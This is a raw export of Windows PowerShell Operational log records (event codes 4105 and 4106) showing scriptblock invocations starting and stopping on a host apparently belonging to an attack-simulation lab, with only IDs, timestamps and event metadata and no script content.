OpCode=On create calls
RecordNumber=2028682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028681
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028679
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028678
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028661
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028655
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028633
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028631
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028630
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
